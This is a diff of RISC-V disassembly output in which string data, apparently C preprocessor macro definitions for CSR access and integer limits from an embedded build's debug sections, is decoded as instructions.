-    9c1e:	625f 6975 746c      	0x746c6975625f
-    9c24:	6e69                	lui	t3,0x1a
-    9c26:	635f 6e6f 7473      	0x74736e6f635f
-    9c2c:	6e61                	lui	t3,0x18
-    9c2e:	5f74                	lw	a3,124(a4)
-    9c30:	2870                	fld	fa2,208(s0)
-    9c32:	7372                	flw	ft6,60(sp)
-    9c34:	2029                	jal	9c3e <__stack_size+0x943e>
-    9c36:	2626                	fld	fa2,72(sp)
-    9c38:	2820                	fld	fs0,80(s0)
-    9c3a:	6e75                	lui	t3,0x1d
-    9c3c:	6e676973          	csrrsi	s2,0x6e6,14
-    9c40:	6465                	lui	s0,0x19
-    9c42:	6c20                	flw	fs0,88(s0)
-    9c44:	29676e6f          	jal	t3,7feda <__stack_size+0x7f6da>
-    9c48:	7228                	flw	fa0,96(a2)
-    9c4a:	3c202973          	csrr	s2,0x3c2
-    9c4e:	3320                	fld	fs0,96(a4)
-    9c50:	2932                	fld	fs2,264(sp)
-    9c52:	6120                	flw	fs0,64(a0)
-    9c54:	76206d73          	csrrsi	s10,0x762,0
-    9c58:	74616c6f          	jal	s8,2039e <__stack_size+0x1fb9e>
-    9c5c:	6c69                	lui	s8,0x1a
-    9c5e:	2065                	jal	9d06 <__stack_size+0x9506>
-    9c60:	2228                	fld	fa0,64(a2)
-    9c62:	77727363          	bgeu	tp,s7,a3c8 <__stack_size+0x9bc8>
-    9c66:	2220                	fld	fs0,64(a2)
-    9c68:	2320                	fld	fs0,64(a4)
-    9c6a:	20727363          	bgeu	tp,t2,9e70 <__stack_size+0x9670>
-    9c6e:	2c22                	fld	fs8,8(sp)
-    9c70:	2520                	fld	fs0,72(a0)
-    9c72:	2230                	fld	fa2,64(a2)
-    9c74:	3a20                	fld	fs0,112(a2)
-    9c76:	203a                	fld	ft0,392(sp)
-    9c78:	4b22                	lw	s6,8(sp)
-    9c7a:	2822                	fld	fa6,8(sp)
-    9c7c:	7372                	flw	ft6,60(sp)
-    9c7e:	2929                	jal	a098 <__stack_size+0x9898>
-    9c80:	6c65203b          	0x6c65203b
-    9c84:	61206573          	csrrsi	a0,0x612,0
-    9c88:	76206d73          	csrrsi	s10,0x762,0
-    9c8c:	74616c6f          	jal	s8,203d2 <__stack_size+0x1fbd2>
-    9c90:	6c69                	lui	s8,0x1a
-    9c92:	2065                	jal	9d3a <__stack_size+0x953a>
-    9c94:	2228                	fld	fa0,64(a2)
-    9c96:	77727363          	bgeu	tp,s7,a3fc <__stack_size+0x9bfc>
-    9c9a:	2220                	fld	fs0,64(a2)
-    9c9c:	2320                	fld	fs0,64(a4)
-    9c9e:	20727363          	bgeu	tp,t2,9ea4 <__stack_size+0x96a4>
-    9ca2:	2c22                	fld	fs8,8(sp)
-    9ca4:	2520                	fld	fs0,72(a0)
-    9ca6:	2230                	fld	fa2,64(a2)
-    9ca8:	3a20                	fld	fs0,112(a2)
-    9caa:	203a                	fld	ft0,392(sp)
-    9cac:	7222                	flw	ft4,40(sp)
-    9cae:	2822                	fld	fa6,8(sp)
-    9cb0:	7372                	flw	ft6,60(sp)
-    9cb2:	2929                	jal	a0cc <__stack_size+0x98cc>
-    9cb4:	297d203b          	0x297d203b
-    9cb8:	5f00                	lw	s0,56(a4)
-    9cba:	485f4353          	0x485f4353
-    9cbe:	5f54534f          	fnmadd.q	ft6,fs0,fs5,fa1,unknown
-    9cc2:	414e                	lw	sp,208(sp)
-    9cc4:	454d                	li	a0,19
-    9cc6:	4d5f 5841 3620      	0x362058414d5f
-    9ccc:	0035                	c.nop	13
-    9cce:	4946                	lw	s2,80(sp)
-    9cd0:	454c                	lw	a1,12(a0)
-    9cd2:	414e                	lw	sp,208(sp)
-    9cd4:	454d                	li	a0,19
-    9cd6:	4d5f 5841 3120      	0x312058414d5f
-    9cdc:	3230                	fld	fa2,96(a2)
-    9cde:	0034                	addi	a3,sp,8
-    9ce0:	5f5f 5253 2057      	0x205752535f5f
-    9ce6:	7830                	flw	fa2,112(s0)
-    9ce8:	3030                	fld	fa2,96(s0)
-    9cea:	3031                	jal	94f6 <__stack_size+0x8cf6>
-    9cec:	5f00                	lw	s0,56(a4)
-    9cee:	555f 4e49 5054      	0x50544e49555f
-    9cf4:	5254                	lw	a3,36(a2)
-    9cf6:	545f 5059 5f45      	0x5f455059545f
-    9cfc:	205f 6e75 6973      	0x69736e75205f
-    9d02:	64656e67          	0x64656e67
-    9d06:	6920                	flw	fs0,80(a0)
-    9d08:	746e                	flw	fs0,248(sp)
-    9d0a:	5f00                	lw	s0,56(a4)
-    9d0c:	545f 5248 574f      	0x574f5248545f
-    9d12:	0020                	addi	s0,sp,8
-    9d14:	5f5f 6f6e 6e6e      	0x6e6e6f6e5f5f
-    9d1a:	6c75                	lui	s8,0x1d
-    9d1c:	286c                	fld	fa1,208(s0)
-    9d1e:	2978                	fld	fa4,208(a0)
-    9d20:	5f20                	lw	s0,120(a4)
-    9d22:	615f 7474 6972      	0x69727474615f
-    9d28:	7562                	flw	fa0,56(sp)
-    9d2a:	6574                	flw	fa3,76(a0)
-    9d2c:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    9d32:	6f6e                	flw	ft10,216(sp)
-    9d34:	6e6e                	flw	ft8,216(sp)
-    9d36:	6c75                	lui	s8,0x1d
-    9d38:	5f6c                	lw	a1,124(a4)
-    9d3a:	205f 2978 0029      	0x292978205f
-    9d40:	5355                	li	t1,-11
-    9d42:	5248                	lw	a0,36(a2)
-    9d44:	5f54                	lw	a3,60(a4)
-    9d46:	414d                	li	sp,19
-    9d48:	2058                	fld	fa4,128(s0)
-    9d4a:	5328                	lw	a0,96(a4)
-    9d4c:	5248                	lw	a0,36(a2)
-    9d4e:	5f54                	lw	a3,60(a4)
-    9d50:	414d                	li	sp,19
-    9d52:	2058                	fld	fa4,128(s0)
-    9d54:	202a                	fld	ft0,136(sp)
-    9d56:	2032                	fld	ft0,264(sp)
-    9d58:	2931202b          	0x2931202b
-    9d5c:	4e00                	lw	s0,24(a2)
-    9d5e:	3441                	jal	97de <__stack_size+0x8fde>
-    9d60:	3020                	fld	fs0,96(s0)
-    9d62:	3062                	fld	ft0,56(sp)
-    9d64:	3030                	fld	fa2,96(s0)
-    9d66:	3031                	jal	9572 <__stack_size+0x8d72>
-    9d68:	3030                	fld	fa2,96(s0)
-    9d6a:	0030                	addi	a2,sp,8
-    9d6c:	63727473          	csrrci	s0,0x637,4
-    9d70:	706d                	c.lui	zero,0xffffb
-    9d72:	4900                	lw	s0,16(a0)
-    9d74:	544e                	lw	s0,240(sp)
-    9d76:	465f 5341 3154      	0x31545341465f
-    9d7c:	5f36                	lw	t5,108(sp)
-    9d7e:	414d                	li	sp,19
-    9d80:	2058                	fld	fa4,128(s0)
-    9d82:	5f5f 4e49 5f54      	0x5f544e495f5f
-    9d88:	4146                	lw	sp,80(sp)
-    9d8a:	36315453          	0x36315453
-    9d8e:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9d94:	5f00                	lw	s0,56(a4)
-    9d96:	465f 544c 4d5f      	0x4d5f544c465f
-    9d9c:	4e49                	li	t3,18
-    9d9e:	5f5f 3120 312e      	0x312e31205f5f
-    9da4:	39343537          	lui	a0,0x39343
-    9da8:	3334                	fld	fa3,96(a4)
-    9daa:	3035                	jal	95d6 <__stack_size+0x8dd6>
-    9dac:	3238                	fld	fa4,96(a2)
-    9dae:	3232                	fld	ft4,296(sp)
-    9db0:	3738                	fld	fa4,104(a4)
-    9db2:	3035                	jal	95de <__stack_size+0x8dde>
-    9db4:	38363937          	lui	s2,0x38363
-    9db8:	35363337          	lui	t1,0x35363
-    9dbc:	32323733          	0x32323733
-    9dc0:	3232                	fld	ft4,296(sp)
-    9dc2:	3534                	fld	fa3,104(a0)
-    9dc4:	3836                	fld	fa6,360(sp)
-    9dc6:	2d65                	jal	a47e <__stack_size+0x9c7e>
-    9dc8:	00463833          	sltu	a6,a2,tp
-    9dcc:	535f 5f43 454c      	0x454c5f43535f
-    9dd2:	4556                	lw	a0,84(sp)
-    9dd4:	314c                	fld	fa1,160(a0)
-    9dd6:	495f 4143 4843      	0x48434143495f
-    9ddc:	5f45                	li	t5,-15
+    9aca:	3032                	fld	ft0,296(sp)
+    9acc:	0030                	addi	a2,sp,8
+    9ace:	5f5f 666f 7366      	0x7366666f5f5f
+    9ad4:	7465                	lui	s0,0xffff9
+    9ad6:	7428666f          	jal	a2,90218 <__stack_size+0x8fa18>
+    9ada:	7079                	c.lui	zero,0xffffe
+    9adc:	2c65                	jal	9d94 <__stack_size+0x9594>
+    9ade:	6966                	flw	fs2,88(sp)
+    9ae0:	6c65                	lui	s8,0x19
+    9ae2:	2964                	fld	fs1,208(a0)
+    9ae4:	6f20                	flw	fs0,88(a4)
+    9ae6:	6666                	flw	fa2,88(sp)
+    9ae8:	6f746573          	csrrsi	a0,0x6f7,8
+    9aec:	2866                	fld	fa6,88(sp)
+    9aee:	7974                	flw	fa3,116(a0)
+    9af0:	6570                	flw	fa2,76(a0)
+    9af2:	202c                	fld	fa1,64(s0)
+    9af4:	6966                	flw	fs2,88(sp)
+    9af6:	6c65                	lui	s8,0x19
+    9af8:	2964                	fld	fs1,208(a0)
+    9afa:	5f00                	lw	s0,56(a4)
+    9afc:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9b02:	414d                	li	sp,19
+    9b04:	544e                	lw	s0,240(sp)
+    9b06:	445f 4749 5f5f      	0x5f5f4749445f
+    9b0c:	3120                	fld	fs0,96(a0)
+    9b0e:	3331                	jal	981a <__stack_size+0x901a>
+    9b10:	5f00                	lw	s0,56(a4)
+    9b12:	555f 4e49 5f54      	0x5f544e49555f
+    9b18:	454c                	lw	a1,12(a0)
+    9b1a:	5341                	li	t1,-16
+    9b1c:	3854                	fld	fa3,176(s0)
+    9b1e:	545f 5059 5f45      	0x5f455059545f
+    9b24:	205f 6e75 6973      	0x69736e75205f
+    9b2a:	64656e67          	0x64656e67
+    9b2e:	6320                	flw	fs0,64(a4)
+    9b30:	6168                	flw	fa0,68(a0)
+    9b32:	0072                	c.slli	zero,0x1c
+    9b34:	525f 4e41 3444      	0x34444e41525f
+    9b3a:	5f38                	lw	a4,120(a4)
+    9b3c:	44454553          	0x44454553
+    9b40:	315f 2820 7830      	0x78302820315f
+    9b46:	6261                	lui	tp,0x18
+    9b48:	00296463          	bltu	s2,sp,9b50 <__stack_size+0x9350>
+    9b4c:	5f5f 444c 4c42      	0x4c42444c5f5f
+    9b52:	4d5f 4e49 315f      	0x315f4e494d5f
+    9b58:	5f30                	lw	a2,120(a4)
+    9b5a:	5845                	li	a6,-15
+    9b5c:	5f50                	lw	a2,60(a4)
+    9b5e:	205f 2d28 3934      	0x39342d28205f
+    9b64:	00293133          	sltu	sp,s2,sp
+    9b68:	5f5f 6e75 6572      	0x65726e755f5f
+    9b6e:	6361                	lui	t1,0x18
+    9b70:	6168                	flw	fa0,68(a0)
+    9b72:	6c62                	flw	fs8,24(sp)
+    9b74:	2865                	jal	9c2c <__stack_size+0x942c>
+    9b76:	2029                	jal	9b80 <__stack_size+0x9380>
+    9b78:	5f5f 7562 6c69      	0x6c6975625f5f
+    9b7e:	6974                	flw	fa3,84(a0)
+    9b80:	5f6e                	lw	t5,248(sp)
+    9b82:	6e75                	lui	t3,0x1d
+    9b84:	6572                	flw	fa0,28(sp)
+    9b86:	6361                	lui	t1,0x18
+    9b88:	6168                	flw	fa0,68(a0)
+    9b8a:	6c62                	flw	fs8,24(sp)
+    9b8c:	2865                	jal	9c44 <__stack_size+0x9444>
+    9b8e:	0029                	c.nop	10
+    9b90:	50415f4f          	fnmadd.s	ft10,ft2,ft4,fa0,unknown
+    9b94:	4550                	lw	a2,12(a0)
+    9b96:	444e                	lw	s0,208(sp)
+    9b98:	5f20                	lw	s0,120(a4)
+    9b9a:	4146                	lw	sp,80(sp)
+    9b9c:	5050                	lw	a2,36(s0)
+    9b9e:	4e45                	li	t3,17
+    9ba0:	0044                	addi	s1,sp,4
+    9ba2:	4955                	li	s2,21
+    9ba4:	544e                	lw	s0,240(sp)
+    9ba6:	3631                	jal	96b2 <__stack_size+0x8eb2>
+    9ba8:	435f 5f00 535f      	0x535f5f00435f
+    9bae:	5254                	lw	a3,36(a2)
+    9bb0:	4e49                	li	t3,18
+    9bb2:	29782847          	fmsub.s	fa6,fa6,fs7,ft5,rdn
+    9bb6:	2320                	fld	fs0,64(a4)
+    9bb8:	0078                	addi	a4,sp,12
+    9bba:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    9bbe:	494d                	li	s2,19
+    9bc0:	38204153          	0x38204153
+    9bc4:	5f00                	lw	s0,56(a4)
+    9bc6:	4e49                	li	t3,18
+    9bc8:	3654                	fld	fa3,168(a2)
+    9bca:	5f34                	lw	a3,120(a4)
+    9bcc:	5f54                	lw	a3,60(a4)
+    9bce:	4544                	lw	s1,12(a0)
+    9bd0:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    9bd4:	4445                	li	s0,17
+    9bd6:	0020                	addi	s0,sp,8
+    9bd8:	474e                	lw	a4,208(sp)
+    9bda:	4f52                	lw	t5,20(sp)
+    9bdc:	5055                	c.li	zero,-11
+    9bde:	414d5f53          	0x414d5f53
+    9be2:	2058                	fld	fa4,128(s0)
+    9be4:	3631                	jal	96f0 <__stack_size+0x8ef0>
+    9be6:	5f00                	lw	s0,56(a4)
+    9be8:	435f 4148 3152      	0x31524148435f
+    9bee:	5f36                	lw	t5,108(sp)
+    9bf0:	5954                	lw	a3,52(a0)
+    9bf2:	4550                	lw	a2,12(a0)
+    9bf4:	5f5f 7320 6f68      	0x6f6873205f5f
+    9bfa:	7472                	flw	fs0,60(sp)
+    9bfc:	7520                	flw	fs0,104(a0)
+    9bfe:	736e                	flw	ft6,248(sp)
+    9c00:	6769                	lui	a4,0x1a
+    9c02:	656e                	flw	fa0,216(sp)
+    9c04:	2064                	fld	fs1,192(s0)
+    9c06:	6e69                	lui	t3,0x1a
+    9c08:	0074                	addi	a3,sp,12
+    9c0a:	4e49                	li	t3,18
+    9c0c:	3154                	fld	fa3,160(a0)
+    9c0e:	5f36                	lw	t5,108(sp)
+    9c10:	494d                	li	s2,19
+    9c12:	204e                	fld	ft0,208(sp)
+    9c14:	2d28                	fld	fa0,88(a0)
+    9c16:	4e49                	li	t3,18
+    9c18:	3154                	fld	fa3,160(a0)
+    9c1a:	5f36                	lw	t5,108(sp)
+    9c1c:	414d                	li	sp,19
+    9c1e:	2058                	fld	fa4,128(s0)
+    9c20:	202d                	jal	9c4a <__stack_size+0x944a>
+    9c22:	2931                	jal	a03e <__stack_size+0x983e>
+    9c24:	5f00                	lw	s0,56(a4)
+    9c26:	4552                	lw	a0,20(sp)
+    9c28:	4e45                	li	t3,17
+    9c2a:	5f54                	lw	a3,60(a4)
+    9c2c:	424d                	li	tp,19
+    9c2e:	4f54                	lw	a3,28(a4)
+    9c30:	535f4357          	0x535f4357
+    9c34:	4154                	lw	a3,4(a0)
+    9c36:	4554                	lw	a3,12(a0)
+    9c38:	7028                	flw	fa0,96(s0)
+    9c3a:	7274                	flw	fa3,100(a2)
+    9c3c:	2029                	jal	9c46 <__stack_size+0x9446>
+    9c3e:	2828                	fld	fa0,80(s0)
+    9c40:	7470                	flw	fa2,108(s0)
+    9c42:	2972                	fld	fs2,280(sp)
+    9c44:	3e2d                	jal	977e <__stack_size+0x8f7e>
+    9c46:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    9c4c:	6572                	flw	fa0,28(sp)
+    9c4e:	6e65                	lui	t3,0x19
+    9c50:	2e74                	fld	fa3,216(a2)
+    9c52:	6d5f 7462 776f      	0x776f74626d5f
+    9c58:	74735f63          	bge	t1,t2,a3b6 <__stack_size+0x9bb6>
+    9c5c:	7461                	lui	s0,0xffff8
+    9c5e:	2965                	jal	a116 <__stack_size+0x9916>
+    9c60:	5f00                	lw	s0,56(a4)
+    9c62:	435f4353          	0x435f4353
+    9c66:	5f4c4c4f          	fnmadd.q	fs8,fs8,fs4,fa1,rmm
+    9c6a:	47494557          	0x47494557
+    9c6e:	5448                	lw	a0,44(s0)
+    9c70:	414d5f53          	0x414d5f53
+    9c74:	2058                	fld	fa4,128(s0)
+    9c76:	3236                	fld	ft4,360(sp)
+    9c78:	5000                	lw	s0,32(s0)
+    9c7a:	435f4d57          	0x435f4d57
+    9c7e:	4746                	lw	a4,80(sp)
+    9c80:	3020                	fld	fs0,96(s0)
+    9c82:	3078                	fld	fa4,224(s0)
+    9c84:	0030                	addi	a2,sp,8
+    9c86:	57525343          	fmadd.q	ft6,ft4,fs5,fa0,unknown
+    9c8a:	6328                	flw	fa0,64(a4)
+    9c8c:	722c7273          	csrrci	tp,0x722,24
+    9c90:	28202973          	csrr	s2,0x282
+    9c94:	6669207b          	0x6669207b
+    9c98:	2820                	fld	fs0,80(s0)
+    9c9a:	5f5f 7562 6c69      	0x6c6975625f5f
+    9ca0:	6974                	flw	fa3,84(a0)
+    9ca2:	5f6e                	lw	t5,248(sp)
+    9ca4:	736e6f63          	bltu	t3,s6,a3e2 <__stack_size+0x9be2>
+    9ca8:	6174                	flw	fa3,68(a0)
+    9caa:	746e                	flw	fs0,248(sp)
+    9cac:	705f 7228 2973      	0x29737228705f
+    9cb2:	2620                	fld	fs0,72(a2)
+    9cb4:	2026                	fld	ft0,72(sp)
+    9cb6:	7528                	flw	fa0,104(a0)
+    9cb8:	736e                	flw	ft6,248(sp)
+    9cba:	6769                	lui	a4,0x1a
+    9cbc:	656e                	flw	fa0,216(sp)
+    9cbe:	2064                	fld	fs1,192(s0)
+    9cc0:	6f6c                	flw	fa1,92(a4)
+    9cc2:	676e                	flw	fa4,216(sp)
+    9cc4:	2829                	jal	9cde <__stack_size+0x94de>
+    9cc6:	7372                	flw	ft6,60(sp)
+    9cc8:	2029                	jal	9cd2 <__stack_size+0x94d2>
+    9cca:	203c                	fld	fa5,64(s0)
+    9ccc:	20293233          	0x20293233
+    9cd0:	7361                	lui	t1,0xffff8
+    9cd2:	206d                	jal	9d7c <__stack_size+0x957c>
+    9cd4:	6f76                	flw	ft10,92(sp)
+    9cd6:	616c                	flw	fa1,68(a0)
+    9cd8:	6974                	flw	fa3,84(a0)
+    9cda:	656c                	flw	fa1,76(a0)
+    9cdc:	2820                	fld	fs0,80(s0)
+    9cde:	6322                	flw	ft6,8(sp)
+    9ce0:	20777273          	csrrci	tp,0x207,14
+    9ce4:	2022                	fld	ft0,8(sp)
+    9ce6:	72736323          	0x72736323
+    9cea:	2220                	fld	fs0,64(a2)
+    9cec:	202c                	fld	fa1,64(s0)
+    9cee:	3025                	jal	9516 <__stack_size+0x8d16>
+    9cf0:	2022                	fld	ft0,8(sp)
+    9cf2:	3a3a                	fld	fs4,424(sp)
+    9cf4:	2220                	fld	fs0,64(a2)
+    9cf6:	7228224b          	fnmsub.d	ft4,fa6,ft2,fa4,rdn
+    9cfa:	3b292973          	csrrs	s2,pmpaddr2,s2
+    9cfe:	6520                	flw	fs0,72(a0)
+    9d00:	736c                	flw	fa1,100(a4)
+    9d02:	2065                	jal	9daa <__stack_size+0x95aa>
+    9d04:	7361                	lui	t1,0xffff8
+    9d06:	206d                	jal	9db0 <__stack_size+0x95b0>
+    9d08:	6f76                	flw	ft10,92(sp)
+    9d0a:	616c                	flw	fa1,68(a0)
+    9d0c:	6974                	flw	fa3,84(a0)
+    9d0e:	656c                	flw	fa1,76(a0)
+    9d10:	2820                	fld	fs0,80(s0)
+    9d12:	6322                	flw	ft6,8(sp)
+    9d14:	20777273          	csrrci	tp,0x207,14
+    9d18:	2022                	fld	ft0,8(sp)
+    9d1a:	72736323          	0x72736323
+    9d1e:	2220                	fld	fs0,64(a2)
+    9d20:	202c                	fld	fa1,64(s0)
+    9d22:	3025                	jal	954a <__stack_size+0x8d4a>
+    9d24:	2022                	fld	ft0,8(sp)
+    9d26:	3a3a                	fld	fs4,424(sp)
+    9d28:	2220                	fld	fs0,64(a2)
+    9d2a:	2272                	fld	ft4,280(sp)
+    9d2c:	7228                	flw	fa0,96(a2)
+    9d2e:	3b292973          	csrrs	s2,pmpaddr2,s2
+    9d32:	7d20                	flw	fs0,120(a0)
+    9d34:	0029                	c.nop	10
+    9d36:	535f 5f43 4f48      	0x4f485f43535f
+    9d3c:	4e5f5453          	0x4e5f5453
+    9d40:	4d41                	li	s10,16
+    9d42:	5f45                	li	t5,-15
+    9d44:	414d                	li	sp,19
+    9d46:	2058                	fld	fa4,128(s0)
+    9d48:	3536                	fld	fa0,360(sp)
+    9d4a:	4600                	lw	s0,8(a2)
+    9d4c:	4c49                	li	s8,18
+    9d4e:	4e45                	li	t3,17
+    9d50:	4d41                	li	s10,16
+    9d52:	5f45                	li	t5,-15
+    9d54:	414d                	li	sp,19
+    9d56:	2058                	fld	fa4,128(s0)
+    9d58:	3031                	jal	9564 <__stack_size+0x8d64>
+    9d5a:	3432                	fld	fs0,296(sp)
+    9d5c:	5f00                	lw	s0,56(a4)
+    9d5e:	535f 5752 3020      	0x30205752535f
+    9d64:	3078                	fld	fa4,224(s0)
+    9d66:	3130                	fld	fa2,96(a0)
+    9d68:	0030                	addi	a2,sp,8
+    9d6a:	5f5f 4955 544e      	0x544e49555f5f
+    9d70:	5450                	lw	a2,44(s0)
+    9d72:	5f52                	lw	t5,52(sp)
+    9d74:	5954                	lw	a3,52(a0)
+    9d76:	4550                	lw	a2,12(a0)
+    9d78:	5f5f 7520 736e      	0x736e75205f5f
+    9d7e:	6769                	lui	a4,0x1a
+    9d80:	656e                	flw	fa0,216(sp)
+    9d82:	2064                	fld	fs1,192(s0)
+    9d84:	6e69                	lui	t3,0x1a
+    9d86:	0074                	addi	a3,sp,12
+    9d88:	454d                	li	a0,19
+    9d8a:	47415353          	0x47415353
+    9d8e:	5f45                	li	t5,-15
+    9d90:	5542                	lw	a0,48(sp)
+    9d92:	4646                	lw	a2,80(sp)
+    9d94:	5245                	li	tp,-15
+    9d96:	4c5f 4e45 5447      	0x54474e454c5f
+    9d9c:	2048                	fld	fa0,128(s0)
+    9d9e:	3231                	jal	96aa <__stack_size+0x8eaa>
+    9da0:	0038                	addi	a4,sp,8
+    9da2:	5f5f 4854 4f52      	0x4f5248545f5f
+    9da8:	55002057          	0x55002057
+    9dac:	54524853          	0x54524853
+    9db0:	4d5f 5841 2820      	0x282058414d5f
+    9db6:	54524853          	0x54524853
+    9dba:	4d5f 5841 2a20      	0x2a2058414d5f
+    9dc0:	3220                	fld	fs0,96(a2)
+    9dc2:	2b20                	fld	fs0,80(a4)
+    9dc4:	3120                	fld	fs0,96(a0)
+    9dc6:	0029                	c.nop	10
+    9dc8:	4e49                	li	t3,18
+    9dca:	5f54                	lw	a3,60(a4)
+    9dcc:	4146                	lw	sp,80(sp)
+    9dce:	36315453          	0x36315453
+    9dd2:	4d5f 5841 5f20      	0x5f2058414d5f
+    9dd8:	495f 544e 465f      	0x465f544e495f
     9dde:	5341                	li	t1,-16
-    9de0:	20434f53          	0x20434f53
-    9de4:	3231                	jal	96f0 <__stack_size+0x8ef0>
-    9de6:	0036                	c.slli	zero,0xd
-    9de8:	5f5f 6c63 636f      	0x636f6c635f5f
-    9dee:	5f64696b          	0x5f64696b
-    9df2:	5f74                	lw	a3,124(a4)
-    9df4:	6564                	flw	fs1,76(a0)
-    9df6:	6966                	flw	fs2,88(sp)
-    9df8:	656e                	flw	fa0,216(sp)
-    9dfa:	2064                	fld	fs1,192(s0)
-    9dfc:	5f00                	lw	s0,56(a4)
-    9dfe:	454e                	lw	a0,208(sp)
-    9e00:	42494c57          	0x42494c57
-    9e04:	565f 5245 4953      	0x49535245565f
-    9e0a:	22204e4f          	fnmadd.d	ft8,ft0,ft2,ft4,rmm
-    9e0e:	2e322e33          	0x2e322e33
-    9e12:	2230                	fld	fa2,64(a2)
-    9e14:	5f00                	lw	s0,56(a4)
-    9e16:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9e1c:	414d                	li	sp,19
-    9e1e:	5f58                	lw	a4,60(a4)
-    9e20:	5845                	li	a6,-15
-    9e22:	5f50                	lw	a2,60(a4)
-    9e24:	205f 3631 3833      	0x38333631205f
-    9e2a:	0034                	addi	a3,sp,8
-    9e2c:	69647473          	csrrci	s0,0x696,8
-    9e30:	206e                	fld	ft0,216(sp)
-    9e32:	5f28                	lw	a0,120(a4)
-    9e34:	4552                	lw	a0,20(sp)
-    9e36:	4e45                	li	t3,17
-    9e38:	2d54                	fld	fa3,152(a0)
-    9e3a:	5f3e                	lw	t5,236(sp)
-    9e3c:	69647473          	csrrci	s0,0x696,8
-    9e40:	296e                	fld	fs2,216(sp)
-    9e42:	5300                	lw	s0,32(a4)
-    9e44:	495f 4752 5052      	0x50524752495f
-    9e4a:	3020                	fld	fs0,96(s0)
-    9e4c:	3030                	fld	fa2,96(s0)
-    9e4e:	3030                	fld	fa2,96(s0)
-    9e50:	3034                	fld	fa3,96(s0)
-    9e52:	6d00                	flw	fs0,24(a0)
-    9e54:	7674                	flw	fa3,108(a2)
-    9e56:	6c61                	lui	s8,0x18
-    9e58:	4f00                	lw	s0,24(a4)
-    9e5a:	575f 4f52 4c4e      	0x4c4e4f52575f
-    9e60:	2059                	jal	9ee6 <__stack_size+0x96e6>
-    9e62:	0031                	c.nop	12
-    9e64:	5f46                	lw	t5,112(sp)
-    9e66:	5352                	lw	t1,52(sp)
-    9e68:	5445                	li	s0,-15
-    9e6a:	4b4c                	lw	a1,20(a4)
-    9e6c:	33312057          	0x33312057
-    9e70:	5f00                	lw	s0,56(a4)
-    9e72:	414d                	li	sp,19
-    9e74:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
-    9e78:	5f45                	li	t5,-15
-    9e7a:	545f 5059 5345      	0x53455059545f
-    9e80:	485f 0020 5f5f      	0x5f5f0020485f
-    9e86:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    9e8a:	4d5f 4e49 524f      	0x524f4e494d5f
-    9e90:	5f5f 3120 5f00      	0x5f0031205f5f
-    9e96:	535f 4454 5f43      	0x5f434454535f
-    9e9c:	5455                	li	s0,-11
-    9e9e:	5f46                	lw	t5,112(sp)
-    9ea0:	3631                	jal	99ac <__stack_size+0x91ac>
-    9ea2:	5f5f 3120 5300      	0x530031205f5f
-    9ea8:	495f 4346 5248      	0x52484346495f
-    9eae:	5f20                	lw	s0,120(a4)
-    9eb0:	4649                	li	a2,18
-    9eb2:	00524843          	fmadd.s	fa6,ft4,ft5,ft0,rmm
-    9eb6:	535f 5355 4345      	0x43455355535f
-    9ebc:	53444e4f          	fnmadd.d	ft8,fs0,fs4,fa0,rmm
-    9ec0:	545f 445f 4345      	0x4345445f545f
-    9ec6:	414c                	lw	a1,4(a0)
-    9ec8:	4552                	lw	a0,20(sp)
-    9eca:	2044                	fld	fs1,128(s0)
-    9ecc:	4f00                	lw	s0,24(a4)
-    9ece:	4550                	lw	a2,12(a0)
-    9ed0:	5f4e                	lw	t5,240(sp)
-    9ed2:	414d                	li	sp,19
-    9ed4:	2058                	fld	fa4,128(s0)
-    9ed6:	3436                	fld	fs0,360(sp)
-    9ed8:	5f00                	lw	s0,56(a4)
-    9eda:	555f 4e49 5f54      	0x5f544e49555f
-    9ee0:	454c                	lw	a1,12(a0)
-    9ee2:	5341                	li	t1,-16
-    9ee4:	3154                	fld	fa3,160(a0)
-    9ee6:	5f36                	lw	t5,108(sp)
-    9ee8:	5954                	lw	a3,52(a0)
-    9eea:	4550                	lw	a2,12(a0)
-    9eec:	5f5f 7320 6f68      	0x6f6873205f5f
-    9ef2:	7472                	flw	fs0,60(sp)
-    9ef4:	7520                	flw	fs0,104(a0)
-    9ef6:	736e                	flw	ft6,248(sp)
-    9ef8:	6769                	lui	a4,0x1a
-    9efa:	656e                	flw	fa0,216(sp)
-    9efc:	2064                	fld	fs1,192(s0)
-    9efe:	6e69                	lui	t3,0x1a
-    9f00:	0074                	addi	a3,sp,12
-    9f02:	535f 5f43 454c      	0x454c5f43535f
-    9f08:	4556                	lw	a0,84(sp)
-    9f0a:	334c                	fld	fa1,160(a4)
-    9f0c:	435f 4341 4548      	0x45484341435f
-    9f12:	4c5f 4e49 5345      	0x53454e494c5f
-    9f18:	5a49                	li	s4,-14
-    9f1a:	2045                	jal	9fba <__stack_size+0x97ba>
-    9f1c:	3331                	jal	9c28 <__stack_size+0x9428>
-    9f1e:	0036                	c.slli	zero,0xd
-    9f20:	5f5f 4955 544e      	0x544e49555f5f
-    9f26:	465f 5341 3654      	0x36545341465f
-    9f2c:	5f34                	lw	a3,120(a4)
-    9f2e:	414d                	li	sp,19
-    9f30:	5f58                	lw	a4,60(a4)
-    9f32:	205f 7830 6666      	0x66667830205f
-    9f38:	6666                	flw	fa2,88(sp)
-    9f3a:	6666                	flw	fa2,88(sp)
-    9f3c:	6666                	flw	fa2,88(sp)
-    9f3e:	6666                	flw	fa2,88(sp)
-    9f40:	6666                	flw	fa2,88(sp)
-    9f42:	6666                	flw	fa2,88(sp)
-    9f44:	6666                	flw	fa2,88(sp)
-    9f46:	4c55                	li	s8,21
-    9f48:	004c                	addi	a1,sp,4
-    9f4a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    9f4e:	434d                	li	t1,19
-    9f50:	5541                	li	a0,-16
-    9f52:	35204553          	0x35204553
-    9f56:	4900                	lw	s0,16(a0)
-    9f58:	544e                	lw	s0,240(sp)
-    9f5a:	414d                	li	sp,19
-    9f5c:	5f58                	lw	a4,60(a4)
-    9f5e:	414d                	li	sp,19
-    9f60:	2058                	fld	fa4,128(s0)
-    9f62:	5f5f 4e49 4d54      	0x4d544e495f5f
-    9f68:	5841                	li	a6,-16
